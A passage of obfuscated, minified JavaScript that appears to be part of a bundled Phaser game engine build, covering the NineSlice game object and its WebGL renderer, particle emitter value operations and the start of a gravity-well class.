[_0x3d9471['AlphaSingle'], _0x3d9471['BlendMode'], _0x3d9471['Depth'], _0x3d9471['GetBounds'], _0x3d9471['Mask'], _0x3d9471['Origin'], _0x3d9471['Pipeline'], _0x3d9471['PostPipeline'], _0x3d9471['ScrollFactor'], _0x3d9471['Texture'], _0x3d9471['Transform'], _0x3d9471['Visible'], _0x1be0c2], 'initialize': function (_0x5ae3d1, _0x27967c, _0x5a7793, _0x4f1f5e, _0x34b8f6, _0x24b277, _0x184b41, _0x3766b9, _0x4e1c4d, _0x426885, _0xf0d1b7) { _0x4d9bfa['call'](this, _0x5ae3d1, 'NineSlice'), this['_width'], this['_height'], this['_originX'] = 0.5, this['_originY'] = 0.5, this['_sizeComponent'] = !0x0, this['vertices'] = [], this['leftWidth'], this['rightWidth'], this['topHeight'], this['bottomHeight'], this['tint'] = 0xffffff, this['tintFill'] = !0x1; var _0x1ce057 = _0x5ae3d1['textures']['getFrame'](_0x4f1f5e, _0x34b8f6); this['is3Slice'] = !_0x426885 && !_0xf0d1b7, _0x1ce057 && _0x1ce057['scale9'] && (this['is3Slice'] = _0x1ce057['is3Slice']); for (var _0x55f456 = this['is3Slice'] ? 0x12 : 0x36, _0x3fb034 = 0x0; _0x3fb034 < _0x55f456; _0x3fb034++)this['vertices']['push'](new _0x4d5d0b()); this['setPosition'](_0x27967c, _0x5a7793), this['setTexture'](_0x4f1f5e, _0x34b8f6), this['setSlices'](_0x24b277, _0x184b41, _0x3766b9, _0x4e1c4d, _0x426885, _0xf0d1b7, !0x1), this['updateDisplayOrigin'](), this['initPipeline'](), this['initPostPipeline'](); }, 'setSlices': function (_0x4eac5c, _0x2b3eb5, _0x2b5cbc, _0x571068, _0x36635a, _0x3d6933, _0x4b5355) { void 0x0 === _0x2b5cbc && (_0x2b5cbc = 0xa), void 0x0 === _0x571068 && (_0x571068 = 0xa), void 0x0 === _0x36635a && (_0x36635a = 0x0), void 0x0 === _0x3d6933 && (_0x3d6933 = 0x0), void 0x0 === _0x4b5355 && (_0x4b5355 = !0x1); var _0x78d8cb = this['frame'], _0x4519a3 = !0x1; if (this['is3Slice'] && _0x4b5355 && 0x0 !== _0x36635a && 0x0 !== _0x3d6933 && (_0x4519a3 = !0x0), _0x4519a3); else { if (_0x78d8cb && _0x78d8cb['scale9'] && !_0x4b5355) { var _0x122a4a = _0x78d8cb['data']['scale9Borders'], _0x4a1d1c = _0x122a4a['x'], _0x11397d = _0x122a4a['y']; _0x2b5cbc = _0x4a1d1c, _0x571068 = _0x78d8cb['width'] - _0x122a4a['w'] - _0x4a1d1c, _0x36635a = _0x11397d, _0x3d6933 = _0x78d8cb['height'] - _0x122a4a['h'] - _0x11397d, void 0x0 === _0x4eac5c && (_0x4eac5c = _0x78d8cb['width']), void 0x0 === _0x2b3eb5 && (_0x2b3eb5 = _0x78d8cb['height']); } else void 0x0 === _0x4eac5c && (_0x4eac5c = 0x100), void 0x0 === _0x2b3eb5 && (_0x2b3eb5 = 0x100); this['_width'] = _0x4eac5c, this['_height'] = _0x2b3eb5, this['leftWidth'] = _0x2b5cbc, this['rightWidth'] = _0x571068, this['topHeight'] = _0x36635a, this['bottomHeight'] = _0x3d6933, this['is3Slice'] && (_0x2b3eb5 = _0x78d8cb['height'], this['_height'] = _0x2b3eb5, this['topHeight'] = _0x2b3eb5, this['bottomHeight'] = 0x0), this['updateVertices'](), this['updateUVs'](); } return this; }, 'updateUVs': function () { var _0x28fcdc = this['leftWidth'], _0x12f619 = this['rightWidth'], _0x277a22 = this['topHeight'], _0x899f85 = this['bottomHeight'], _0x820be6 = this['frame']['width'], _0x44df29 = this['frame']['height']; this['updateQuadUVs'](0x0, 0x0, 0x0, _0x28fcdc / _0x820be6, _0x277a22 / _0x44df29), this['updateQuadUVs'](0x6, _0x28fcdc / _0x820be6, 0x0, 0x1 - _0x12f619 / _0x820be6, _0x277a22 / _0x44df29), this['updateQuadUVs'](0xc, 0x1 - _0x12f619 / _0x820be6, 0x0, 0x1, _0x277a22 / _0x44df29), this['is3Slice'] || (this['updateQuadUVs'](0x12, 0x0, _0x277a22 / _0x44df29, _0x28fcdc / _0x820be6, 0x1 - _0x899f85 / _0x44df29), this['updateQuadUVs'](0x18, _0x28fcdc / _0x820be6, _0x277a22 / _0x44df29, 0x1 - _0x12f619 / _0x820be6, 0x1 - _0x899f85 / _0x44df29), this['updateQuadUVs'](0x1e, 0x1 - _0x12f619 / _0x820be6, _0x277a22 / _0x44df29, 0x1, 0x1 - _0x899f85 / _0x44df29), this['updateQuadUVs'](0x24, 0x0, 0x1 - _0x899f85 / _0x44df29, _0x28fcdc / _0x820be6, 0x1), this['updateQuadUVs'](0x2a, _0x28fcdc / _0x820be6, 0x1 - _0x899f85 / _0x44df29, 0x1 - _0x12f619 / _0x820be6, 0x1), this['updateQuadUVs'](0x30, 0x1 - _0x12f619 / _0x820be6, 0x1 - _0x899f85 / _0x44df29, 0x1, 0x1)); }, 'updateVertices': function () { var _0x1b9cdb = this['leftWidth'], _0x2c8869 = this['rightWidth'], _0xd8df28 = this['topHeight'], _0x4e928e = this['bottomHeight'], _0x4eb57 = this['width'], _0x17480b = this['height']; this['updateQuad'](0x0, -0.5, 0.5, _0x1b9cdb / _0x4eb57 - 0.5, 0.5 - _0xd8df28 / _0x17480b), this['updateQuad'](0x6, _0x1b9cdb / _0x4eb57 - 0.5, 0.5, 0.5 - _0x2c8869 / _0x4eb57, 0.5 - _0xd8df28 / _0x17480b), this['updateQuad'](0xc, 0.5 - _0x2c8869 / _0x4eb57, 0.5, 0.5, 0.5 - _0xd8df28 / _0x17480b), this['is3Slice'] || (this['updateQuad'](0x12, -0.5, 0.5 - _0xd8df28 / _0x17480b, _0x1b9cdb / _0x4eb57 - 0.5, _0x4e928e / _0x17480b - 0.5), this['updateQuad'](0x18, _0x1b9cdb / _0x4eb57 - 0.5, 0.5 - _0xd8df28 / _0x17480b, 0.5 - _0x2c8869 / _0x4eb57, _0x4e928e / _0x17480b - 0.5), this['updateQuad'](0x1e, 0.5 - _0x2c8869 / _0x4eb57, 0.5 - _0xd8df28 / _0x17480b, 0.5, _0x4e928e / _0x17480b - 0.5), this['updateQuad'](0x24, -0.5, _0x4e928e / _0x17480b - 0.5, _0x1b9cdb / _0x4eb57 - 0.5, -0.5), this['updateQuad'](0x2a, _0x1b9cdb / _0x4eb57 - 0.5, _0x4e928e / _0x17480b - 0.5, 0.5 - _0x2c8869 / _0x4eb57, -0.5), this['updateQuad'](0x30, 0.5 - _0x2c8869 / _0x4eb57, _0x4e928e / _0x17480b - 0.5, 0.5, -0.5)); }, 'updateQuad': function (_0x2c653f, _0x4c3fde, _0x2eb033, _0x32d3d5, _0x424c59) { var _0x29bcda = this['width'], _0x3f4d70 = this['height'], _0x2a5227 = this['originX'], _0x1f98f0 = this['originY'], _0x2e2e57 = this['vertices']; _0x2e2e57[_0x2c653f + 0x0]['resize'](_0x4c3fde, _0x2eb033, _0x29bcda, _0x3f4d70, _0x2a5227, _0x1f98f0), _0x2e2e57[_0x2c653f + 0x1]['resize'](_0x4c3fde, _0x424c59, _0x29bcda, _0x3f4d70, _0x2a5227, _0x1f98f0), _0x2e2e57[_0x2c653f + 0x2]['resize'](_0x32d3d5, _0x2eb033, _0x29bcda, _0x3f4d70, _0x2a5227, _0x1f98f0), _0x2e2e57[_0x2c653f + 0x3]['resize'](_0x4c3fde, _0x424c59, _0x29bcda, _0x3f4d70, _0x2a5227, _0x1f98f0), _0x2e2e57[_0x2c653f + 0x4]['resize'](_0x32d3d5, _0x424c59, _0x29bcda, _0x3f4d70, _0x2a5227, _0x1f98f0), _0x2e2e57[_0x2c653f + 0x5]['resize'](_0x32d3d5, _0x2eb033, _0x29bcda, _0x3f4d70, _0x2a5227, _0x1f98f0); }, 'updateQuadUVs': function (_0x3471eb, _0x1f9638, _0x1fb26e, _0x23b55e, _0x180997) { var _0x2dd030 = this['vertices'], _0x36585c = this['frame'], _0x19c6c2 = _0x36585c['u0'], _0x404113 = _0x36585c['v0'], _0x11d6af = _0x36585c['u1'], _0x191c30 = _0x36585c['v1']; if (0x0 !== _0x19c6c2 || 0x1 !== _0x11d6af) { var _0x3cd374 = _0x11d6af - _0x19c6c2; _0x1f9638 = _0x19c6c2 + _0x1f9638 * _0x3cd374, _0x23b55e = _0x19c6c2 + _0x23b55e * _0x3cd374; } if (0x0 !== _0x404113 || 0x1 !== _0x191c30) { var _0x119bac = _0x191c30 - _0x404113; _0x1fb26e = _0x404113 + _0x1fb26e * _0x119bac, _0x180997 = _0x404113 + _0x180997 * _0x119bac; } _0x2dd030[_0x3471eb + 0x0]['setUVs'](_0x1f9638, _0x1fb26e), _0x2dd030[_0x3471eb + 0x1]['setUVs'](_0x1f9638, _0x180997), _0x2dd030[_0x3471eb + 0x2]['setUVs'](_0x23b55e, _0x1fb26e), _0x2dd030[_0x3471eb + 0x3]['setUVs'](_0x1f9638, _0x180997), _0x2dd030[_0x3471eb + 0x4]['setUVs'](_0x23b55e, _0x180997), _0x2dd030[_0x3471eb + 0x5]['setUVs'](_0x23b55e, _0x1fb26e); }, 'clearTint': function () { return this['setTint'](0xffffff), this; }, 'setTint': function (_0x40327c) { return void 0x0 === _0x40327c && (_0x40327c = 0xffffff), this['tint'] = _0x40327c, this['tintFill'] = !0x1, this; }, 'setTintFill': function (_0x5a9c2f) { return this['setTint'](_0x5a9c2f), this['tintFill'] = !0x0, this; }, 'isTinted': { 'get': function () { return 0xffffff !== this['tint']; } }, 'width': { 'get': function () { return this['_width']; }, 'set': function (_0x336ea9) { this['_width'] = Math['max'](_0x336ea9, this['leftWidth'] + this['rightWidth']), this['updateVertices'](); } }, 'height': { 'get': function () { return this['_height']; }, 'set': function (_0x5bd0b1) { this['is3Slice'] || (this['_height'] = Math['max'](_0x5bd0b1, this['topHeight'] + this['bottomHeight']), this['updateVertices']()); } }, 'displayWidth': { 'get': function () { return this['scaleX'] * this['width']; }, 'set': function (_0x4098cb) { this['scaleX'] = _0x4098cb / this['width']; } }, 'displayHeight': { 'get': function () { return this['scaleY'] * this['height']; }, 'set': function (_0x545129) { this['scaleY'] = _0x545129 / this['height']; } }, 'setSize': function (_0x357573, _0xe8c379) { this['width'] = _0x357573, this['height'] = _0xe8c379, this['updateDisplayOrigin'](); var _0x4cbfd8 = this['input']; return _0x4cbfd8 && !_0x4cbfd8['customHitArea'] && (_0x4cbfd8['hitArea']['width'] = this['width'], _0x4cbfd8['hitArea']['height'] = this['height']), this; }, 'setDisplaySize': function (_0x108aaf, _0x1f4201) { return this['displayWidth'] = _0x108aaf, this['displayHeight'] = _0x1f4201, this; }, 'originX': { 'get': function () { return this['_originX']; }, 'set': function (_0x3f0211) { this['_originX'] = _0x3f0211, this['updateVertices'](); } }, 'originY': { 'get': function () { return this['_originY']; }, 'set': function (_0x589724) { this['_originY'] = _0x589724, this['updateVertices'](); } }, 'setOrigin': function (_0x3422c1, _0x1d8491) { return void 0x0 === _0x3422c1 && (_0x3422c1 = 0.5), void 0x0 === _0x1d8491 && (_0x1d8491 = _0x3422c1), this['_originX'] = _0x3422c1, this['_originY'] = _0x1d8491, this['updateVertices'](), this['updateDisplayOrigin'](); }, 'setSizeToFrame': function () { if (this['is3Slice']) { var _0x1483a4 = this['frame']['height']; this['_height'] = _0x1483a4, this['topHeight'] = _0x1483a4, this['bottomHeight'] = 0x0; } return this['updateUVs'](), this; }, 'preDestroy': function () { this['vertices'] = []; } }); _0x4a4469['exports'] = _0x241e22; }, 0x6e77: (_0x51c74b, _0x1078ef, _0x168605) => { var _0x4b1509 = _0x168605(0x62d9), _0x6e9aa = _0x168605(0xae3b), _0x19db9a = _0x168605(0x5c10), _0xc5da6f = _0x168605(0x8952), _0x3e0d08 = _0x168605(0x6dc7); _0x6e9aa['register']('nineslice', function (_0x188b90, _0x11f89e) { void 0x0 === _0x188b90 && (_0x188b90 = {}); var _0x665ca1 = _0x19db9a(_0x188b90, 'key', null), _0x16220d = _0x19db9a(_0x188b90, 'frame', null), _0x198e36 = _0xc5da6f(_0x188b90, 'width', 0x100), _0x2fbaf8 = _0xc5da6f(_0x188b90, 'height', 0x100), _0x19fd3c = _0xc5da6f(_0x188b90, 'leftWidth', 0xa), _0x15366b = _0xc5da6f(_0x188b90, 'rightWidth', 0xa), _0x1bc3d8 = _0xc5da6f(_0x188b90, 'topHeight', 0x0), _0x2fe1be = _0xc5da6f(_0x188b90, 'bottomHeight', 0x0), _0x394ac0 = new _0x3e0d08(this['scene'], 0x0, 0x0, _0x665ca1, _0x16220d, _0x198e36, _0x2fbaf8, _0x19fd3c, _0x15366b, _0x1bc3d8, _0x2fe1be); return void 0x0 !== _0x11f89e && (_0x188b90['add'] = _0x11f89e), _0x4b1509(this['scene'], _0x394ac0, _0x188b90), _0x394ac0; }); }, 0xb9a1: (_0x4ac3fe, _0x430e22, _0x50e886) => { var _0x30461c = _0x50e886(0x6dc7); _0x50e886(0x9a05)['register']('nineslice', function (_0x2b9bda, _0x10943f, _0x3284c3, _0x36b504, _0x206750, _0x53f06f, _0x697e7f, _0x49f75d, _0x388508, _0x41458c) { return this['displayList']['add'](new _0x30461c(this['scene'], _0x2b9bda, _0x10943f, _0x3284c3, _0x36b504, _0x206750, _0x53f06f, _0x697e7f, _0x49f75d, _0x388508, _0x41458c)); }); }, 0x130c7: (_0x388ca1, _0x48de06, _0x574bc0) => { var _0x4dc077 = _0x574bc0(0x7433), _0x250df3 = _0x4dc077, _0x33ade2 = _0x4dc077; _0x250df3 = _0x574bc0(0xcc06), _0x388ca1['exports'] = { 'renderWebGL': _0x250df3, 'renderCanvas': _0x33ade2 }; }, 0xcc06: (_0x2ffa08, _0x28d773, _0x3d7798) => { var _0x4b95c0 = _0x3d7798(0x164a0), _0x388ab4 = _0x3d7798(0x1139a); _0x2ffa08['exports'] = function (_0x537c51, _0x5b52fb, _0x163f72, _0x3448ae) { var _0x3f4b0c = _0x5b52fb['vertices'], _0x2e4c2b = _0x3f4b0c['length']; if (0x0 !== _0x2e4c2b) { _0x163f72['addToRenderList'](_0x5b52fb); var _0x48eeb6 = _0x537c51['pipelines']['set'](_0x5b52fb['pipeline'], _0x5b52fb), _0xfaa6c5 = _0x4b95c0(_0x5b52fb, _0x163f72, _0x3448ae, !0x1)['calc']; _0x537c51['pipelines']['preBatch'](_0x5b52fb); var _0xfe5c55 = _0x48eeb6['setGameObject'](_0x5b52fb), _0x480313 = _0x48eeb6['vertexViewF32'], _0x209872 = _0x48eeb6['vertexViewU32'], _0x4e53b2 = _0x48eeb6['vertexCount'] * _0x48eeb6['currentShader']['vertexComponentCount'] - 0x1, _0x178e39 = _0x163f72['roundPixels'], _0x174af7 = _0x5b52fb['tintFill'], _0x12edb6 = _0x163f72['alpha'] * _0x5b52fb['alpha'], _0x3468f6 = _0x388ab4['getTintAppendFloatAlpha'](_0x5b52fb['tint'], _0x12edb6), _0x563a4b = _0x48eeb6['vertexAvailable'](), _0x52d1df = -0x1; _0x563a4b < _0x2e4c2b && (_0x52d1df = _0x563a4b); for (var _0x585d4f = 0x0; _0x585d4f < _0x2e4c2b; _0x585d4f++) { var _0x453fb6 = _0x3f4b0c[_0x585d4f]; _0x585d4f === _0x52d1df && (_0x48eeb6['flush'](), _0xfe5c55 = _0x48eeb6['setGameObject'](_0x5b52fb), _0x4e53b2 = 0x0), _0x480313[++_0x4e53b2] = _0xfaa6c5['getXRound'](_0x453fb6['vx'], _0x453fb6['vy'], _0x178e39), _0x480313[++_0x4e53b2] = _0xfaa6c5['getYRound'](_0x453fb6['vx'], _0x453fb6['vy'], _0x178e39), _0x480313[++_0x4e53b2] = _0x453fb6['u'], _0x480313[++_0x4e53b2] = _0x453fb6['v'], _0x480313[++_0x4e53b2] = _0xfe5c55, _0x480313[++_0x4e53b2] = _0x174af7, _0x209872[++_0x4e53b2] = _0x3468f6, _0x48eeb6['vertexCount']++, _0x48eeb6['currentBatch']['count'] = _0x48eeb6['vertexCount'] - _0x48eeb6['currentBatch']['start']; } _0x537c51['pipelines']['postBatch'](_0x5b52fb); } }; }, 0x12ab8: (_0x93156b, _0x493f37, _0x2d0e8b) => { var _0x1a71d5 = _0x2d0e8b(0x145db), _0x4e431b = _0x2d0e8b(0xaee9), _0x14ec38 = _0x2d0e8b(0x92d5), _0x39d80a = _0x2d0e8b(0x17e1), _0x484e00 = _0x2d0e8b(0x164fd), _0x14183b = _0x2d0e8b(0x16228), _0x4b68e4 = new _0x1a71d5({ 'Extends': _0x4e431b, 'initialize': function (_0x16f1fb) { _0x4e431b['call'](this, _0x16f1fb, null, !0x1), this['active'] = !0x1, this['easeName'] = 'Linear', this['r'] = [], this['g'] = [], this['b'] = []; }, 'getMethod': function () { return null === this['propertyValue'] ? 0x0 : 0x9; }, 'setMethods': function () { var _0x934f3b = this['propertyValue'], _0x30c5a0 = _0x934f3b, _0x4840dd = this['defaultEmit'], _0x40cff9 = this['defaultUpdate']; if (0x9 === this['method']) { this['start'] = _0x934f3b[0x0], this['ease'] = _0x39d80a('Linear'), this['interpolation'] = _0x484e00('linear'), _0x4840dd = this['easedValueEmit'], _0x40cff9 = this['easeValueUpdate'], _0x30c5a0 = _0x934f3b[0x0], this['active'] = !0x0; for (var _0x566ca2 = 0x0; _0x566ca2 < _0x934f3b['length']; _0x566ca2++) { var _0x3ff7da = _0x14183b(_0x934f3b[_0x566ca2]); this['r']['push'](_0x3ff7da['r']), this['g']['push'](_0x3ff7da['g']), this['b']['push'](_0x3ff7da['b']); } } return this['onEmit'] = _0x4840dd, this['onUpdate'] = _0x40cff9, this['current'] = _0x30c5a0, this; }, 'setEase': function (_0x201058) { this['easeName'] = _0x201058, this['ease'] = _0x39d80a(_0x201058); }, 'easedValueEmit': function () { return this['current'] = this['start'], this['start']; }, 'easeValueUpdate': function (_0x36918d, _0x2905be, _0x357003) { var _0x11bd11 = this['ease'](_0x357003), _0x3e26d2 = this['interpolation'](this['r'], _0x11bd11), _0xabb8b4 = this['interpolation'](this['g'], _0x11bd11), _0x145fe1 = this['interpolation'](this['b'], _0x11bd11), _0x1b447b = _0x14ec38(_0x3e26d2, _0xabb8b4, _0x145fe1); return this['current'] = _0x1b447b, _0x1b447b; } }); _0x93156b['exports'] = _0x4b68e4; }, 0xaee9: (_0x2c29c8, _0x1f4979, _0x348bb0) => { var _0x5b1311 = _0x348bb0(0x7900), _0x89cbef = _0x348bb0(0xb107), _0x3c3f4a = _0x348bb0(0x145db), _0x4bebdb = _0x348bb0(0x18490), _0x17d42b = _0x348bb0(0x17e1), _0x19f495 = _0x348bb0(0x17534), _0x53326b = _0x348bb0(0x164fd), _0x303034 = _0x348bb0(0x12f98), _0x417746 = _0x348bb0(0x3e7a), _0x6eeec5 = new _0x3c3f4a({ 'initialize': function (_0x2183e7, _0x1cf976, _0x12fb53) { void 0x0 === _0x12fb53 && (_0x12fb53 = !0x1), this['propertyKey'] = _0x2183e7, this['propertyValue'] = _0x1cf976, this['defaultValue'] = _0x1cf976, this['steps'] = 0x0, this['counter'] = 0x0, this['yoyo'] = !0x1, this['direction'] = 0x0, this['start'] = 0x0, this['current'] = 0x0, this['end'] = 0x0, this['ease'] = null, this['interpolation'] = null, this['emitOnly'] = _0x12fb53, this['onEmit'] = this['defaultEmit'], this['onUpdate'] = this['defaultUpdate'], this['active'] = !0x0, this['method'] = 0x0, this['_onEmit'], this['_onUpdate']; }, 'loadConfig': function (_0x5b4e79, _0x324004) { void 0x0 === _0x5b4e79 && (_0x5b4e79 = {}), _0x324004 && (this['propertyKey'] = _0x324004), this['propertyValue'] = _0x19f495(_0x5b4e79, this['propertyKey'], this['defaultValue']), this['method'] = this['getMethod'](), this['setMethods'](), this['emitOnly'] && (this['onUpdate'] = this['defaultUpdate']); }, 'toJSON': function () { return JSON['stringify'](this['propertyValue']); }, 'onChange': function (_0x3da254) { var _0x3d2810; switch (this['method']) { case 0x1: case 0x3: case 0x8: _0x3d2810 = _0x3da254; break; case 0x2: this['propertyValue']['indexOf'](_0x3da254) >= 0x0 && (_0x3d2810 = _0x3da254); break; case 0x4: var _0x467860 = (this['end'] - this['start']) / this['steps']; _0x3d2810 = _0x303034(_0x3da254, _0x467860), this['counter'] = _0x3d2810; break; case 0x5: case 0x6: case 0x7: _0x3d2810 = _0x89cbef(_0x3da254, this['start'], this['end']); break; case 0x9: _0x3d2810 = this['start'][0x0]; }return this['current'] = _0x3d2810, this; }, 'getMethod': function () { var _0x51d8bf = this['propertyValue']; if (null === _0x51d8bf) return 0x0; var _0x363bac = typeof _0x51d8bf; if ('number' === _0x363bac) return 0x1; if (Array['isArray'](_0x51d8bf)) return 0x2; if ('function' === _0x363bac) return 0x3; if ('object' === _0x363bac) { if (this['hasBoth'](_0x51d8bf, 'start', 'end')) return this['has'](_0x51d8bf, 'steps') ? 0x4 : 0x5; if (this['hasBoth'](_0x51d8bf, 'min', 'max')) return 0x6; if (this['has'](_0x51d8bf, 'random')) return 0x7; if (this['hasEither'](_0x51d8bf, 'onEmit', 'onUpdate')) return 0x8; if (this['hasEither'](_0x51d8bf, 'values', 'interpolation')) return 0x9; } return 0x0; }, 'setMethods': function () { var _0x3c4c9c = this['propertyValue'], _0x55b2d6 = _0x3c4c9c, _0x505388 = this['defaultEmit'], _0x5eacba = this['defaultUpdate']; switch (this['method']) { case 0x1: _0x505388 = this['staticValueEmit']; break; case 0x2: _0x505388 = this['randomStaticValueEmit'], _0x55b2d6 = _0x3c4c9c[0x0]; break; case 0x3: this['_onEmit'] = _0x3c4c9c, _0x505388 = this['proxyEmit']; break; case 0x4: this['start'] = _0x3c4c9c['start'], this['end'] = _0x3c4c9c['end'], this['steps'] = _0x3c4c9c['steps'], this['counter'] = this['start'], this['yoyo'] = !!this['has'](_0x3c4c9c, 'yoyo') && _0x3c4c9c['yoyo'], this['direction'] = 0x0, _0x505388 = this['steppedEmit'], _0x55b2d6 = this['start']; break; case 0x5: this['start'] = _0x3c4c9c['start'], this['end'] = _0x3c4c9c['end']; var _0x15b5c3 = this['has'](_0x3c4c9c, 'ease') ? _0x3c4c9c['ease'] : 'Linear'; this['ease'] = _0x17d42b(_0x15b5c3, _0x3c4c9c['easeParams']), _0x505388 = this['has'](_0x3c4c9c, 'random') && _0x3c4c9c['random'] ? this['randomRangedValueEmit'] : this['easedValueEmit'], _0x5eacba = this['easeValueUpdate'], _0x55b2d6 = this['start']; break; case 0x6: this['start'] = _0x3c4c9c['min'], this['end'] = _0x3c4c9c['max'], _0x505388 = this['has'](_0x3c4c9c, 'int') && _0x3c4c9c['int'] ? this['randomRangedIntEmit'] : this['randomRangedValueEmit'], _0x55b2d6 = this['start']; break; case 0x7: var _0x31557f = _0x3c4c9c['random']; Array['isArray'](_0x31557f) && (this['start'] = _0x31557f[0x0], this['end'] = _0x31557f[0x1]), _0x505388 = this['randomRangedIntEmit'], _0x55b2d6 = this['start']; break; case 0x8: this['_onEmit'] = this['has'](_0x3c4c9c, 'onEmit') ? _0x3c4c9c['onEmit'] : this['defaultEmit'], this['_onUpdate'] = this['has'](_0x3c4c9c, 'onUpdate') ? _0x3c4c9c['onUpdate'] : this['defaultUpdate'], _0x505388 = this['proxyEmit'], _0x5eacba = this['proxyUpdate']; break; case 0x9: this['start'] = _0x3c4c9c['values']; var _0x1cc62a = this['has'](_0x3c4c9c, 'ease') ? _0x3c4c9c['ease'] : 'Linear'; this['ease'] = _0x17d42b(_0x1cc62a, _0x3c4c9c['easeParams']), this['interpolation'] = _0x53326b(_0x3c4c9c['interpolation']), _0x505388 = this['easedValueEmit'], _0x5eacba = this['easeValueUpdate'], _0x55b2d6 = this['start'][0x0]; }return this['onEmit'] = _0x505388, this['onUpdate'] = _0x5eacba, this['current'] = _0x55b2d6, this; }, 'has': function (_0x4dddce, _0x3e75c2) { return _0x4dddce['hasOwnProperty'](_0x3e75c2); }, 'hasBoth': function (_0x517ed4, _0x4bc237, _0x275c33) { return _0x517ed4['hasOwnProperty'](_0x4bc237) && _0x517ed4['hasOwnProperty'](_0x275c33); }, 'hasEither': function (_0x3e0fdc, _0xe94356, _0x5b6876) { return _0x3e0fdc['hasOwnProperty'](_0xe94356) || _0x3e0fdc['hasOwnProperty'](_0x5b6876); }, 'defaultEmit': function (_0xe1ad31, _0x1b2047, _0x1507b1) { return _0x1507b1; }, 'defaultUpdate': function (_0x1a95ae, _0x3975d2, _0x315dfa, _0x431b00) { return _0x431b00; }, 'proxyEmit': function (_0x4d29fa, _0x3fd270, _0x23f074) { var _0x51f628 = this['_onEmit'](_0x4d29fa, _0x3fd270, _0x23f074); return this['current'] = _0x51f628, _0x51f628; }, 'proxyUpdate': function (_0x1022ef, _0x60903, _0x46cdc1, _0x574ca5) { var _0x37fa5e = this['_onUpdate'](_0x1022ef, _0x60903, _0x46cdc1, _0x574ca5); return this['current'] = _0x37fa5e, _0x37fa5e; }, 'staticValueEmit': function () { return this['current']; }, 'staticValueUpdate': function () { return this['current']; }, 'randomStaticValueEmit': function () { var _0x4184b2 = Math['floor'](Math['random']() * this['propertyValue']['length']); return this['current'] = this['propertyValue'][_0x4184b2], this['current']; }, 'randomRangedValueEmit': function (_0x29e936, _0x13ff74) { var _0x82652b = _0x4bebdb(this['start'], this['end']); return _0x29e936 && _0x29e936['data'][_0x13ff74] && (_0x29e936['data'][_0x13ff74]['min'] = _0x82652b, _0x29e936['data'][_0x13ff74]['max'] = this['end']), this['current'] = _0x82652b, _0x82652b; }, 'randomRangedIntEmit': function (_0x200b4b, _0x253b05) { var _0x5558f7 = _0x5b1311(this['start'], this['end']); return _0x200b4b && _0x200b4b['data'][_0x253b05] && (_0x200b4b['data'][_0x253b05]['min'] = _0x5558f7, _0x200b4b['data'][_0x253b05]['max'] = this['end']), this['current'] = _0x5558f7, _0x5558f7; }, 'steppedEmit': function () { var _0x849f85, _0x1275ce = this['counter'], _0x49d229 = _0x1275ce, _0x2450c6 = (this['end'] - this['start']) / this['steps']; return this['yoyo'] ? (0x0 === this['direction'] ? (_0x49d229 += _0x2450c6) >= this['end'] && (_0x849f85 = _0x49d229 - this['end'], _0x49d229 = this['end'] - _0x849f85, this['direction'] = 0x1) : (_0x49d229 -= _0x2450c6) <= this['start'] && (_0x849f85 = this['start'] - _0x49d229, _0x49d229 = this['start'] + _0x849f85, this['direction'] = 0x0), this['counter'] = _0x49d229) : this['counter'] = _0x417746(_0x49d229 + _0x2450c6, this['start'], this['end']), this['current'] = _0x1275ce, _0x1275ce; }, 'easedValueEmit': function (_0x3bacc9, _0x5af180) { if (_0x3bacc9 && _0x3bacc9['data'][_0x5af180]) { var _0x4039c4 = _0x3bacc9['data'][_0x5af180]; _0x4039c4['min'] = this['start'], _0x4039c4['max'] = this['end']; } return this['current'] = this['start'], this['start']; }, 'easeValueUpdate': function (_0x3826e0, _0x359d88, _0x2c8aba) { var _0x24818c, _0x48ec77 = _0x3826e0['data'][_0x359d88], _0x3dc878 = this['ease'](_0x2c8aba); return _0x24818c = this['interpolation'] ? this['interpolation'](this['start'], _0x3dc878) : (_0x48ec77['max'] - _0x48ec77['min']) * _0x3dc878 + _0x48ec77['min'], this['current'] = _0x24818c, _0x24818c; }, 'destroy': function () { this['propertyValue'] = null, this['defaultValue'] = null, this['ease'] = null, this['interpolation'] = null, this['_onEmit'] = null, this['_onUpdate'] = null; } }); _0x2c29c8['exports'] = _0x6eeec5; }, 0x5fb6: (_0x3f9870, _0x566963, _0x1c875b) => { var _0x5d8fca = _0x1c875b(0x145db), _0x5b1115 = _0x1c875b(0x17534), _0x3960f3 = _0x1c875b(0x4f3e), _0x28ad06 = new _0x5d8fca({ 'Extends': _0x3960f3, 'initialize': function (_0x240a95, _0x2c4e5d, _0x396fc0, _0x130099, _0x50c9f5) { if ('object' == typeof _0x240a95) { var _0x3b6e14 = _0x240a95; _0x240a95 = _0x5b1115(_0x3b6e14, 'x', 0x0), _0x2c4e5d = _0x5b1115(_0x3b6e14, 'y', 0x0), _0x396fc0 = _0x5b1115(_0x3b6e14, 'power', 0x0), _0x130099 = _0x5b1115(_0x3b6e14, 'epsilon', 0x64), _0x50c9f5 = _0x5b1115(_0x3b6e14, 'gravity', 0x32); } else void 0x0 === _0x240a95 && (_0x240a95 = 0x0), void 0x0 === _0x2c4e5d && (_0x2c4e5d = 0x0), void 0x0 === _0x396fc0 && (_0x396fc0 = 0x0), void 0x0 === _0x130099 && (_0x130099 = 0x64), void 0x0 === _0x50c9f5 && (_0x50c9f5 = 0x32); _0x3960f3['call'](this, _0x240a95, _0x2c4e5d, !0x0), this['_gravity'] = _0x50c9f5, this['_power'] = _0x396fc0 * _0x50c9f5, this['_epsilon'] = _0x130099 * _0x130099; }, 'update': function (_0x3217e1, _0x3d1a72) { var _0x10a367 = this['x'] - _0x3217e1['x'], _0x2928d5 = this['y'] - _0x3217e1['y'], _0x4e6fd0 = _0x10a367 * _0x10a367 + _0x2928d5 * _0x2928d5; if (0x0 !== _0x4e6fd0) { var _0x4d6344 = Math['sqrt'](_0x4e6fd0); _0x4e6fd0 < this['_epsilon'] && (_0x4e6fd0 = this['_epsilon']); var _0x139b68 = this['_power'] * _0x3d1a72 / (_0x4e6fd0 * _0x4d6344) * 0x64; _0x3217e1['velocityX'] += _0x10a367 * _0x139b68, _0x3217e1['velocityY'] += _0x2928d5 * _0x139b68; } }, 'epsilon': { 'get': function () { return Math['sqrt'](this['_epsilon']); }, 'set': function (_0x1f87c2) { this['_epsilon'] = _0x1f87c2 * _0x1f87c2; } }, 'power': { 'get': function () { return this['_power'] / this['_gravity']; }, 'set': function (_0x1a0619) { this['_power'] = _0x1a0619 * this['_gravity']; } }, 'gravity': { 'get': function () { return this['_gravity']; }, 'set': function (_0xfd14eb) { var _0x4a62be = 